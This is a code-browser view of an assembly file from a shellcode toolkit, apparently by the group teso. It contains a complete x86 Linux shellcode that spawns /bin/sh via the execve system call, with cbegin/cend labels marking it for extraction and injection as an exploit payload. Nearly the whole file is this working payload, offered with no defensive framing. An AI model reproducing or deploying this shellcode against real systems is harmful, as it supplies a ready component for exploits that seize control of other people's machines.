summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/execve.s
blob: 2fdb69f531efeb0cc1dd4ba64e5dc300afc1708a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* x86/linux execve /bin/sh shellcode
 *
 * lorian / teso
 */
 
	.globl	cbegin
	.globl	cend

cbegin:
        pushl     $0x0b
	popl      %eax
	cdq
	pushl     %edx
	push      $0x68732F6E
	push      $0x69622F2F
	movl      %esp, %ebx
	pushl     %edx
	pushl     %ebx
	movl      %esp, %ecx
	int	  $0x80

cend: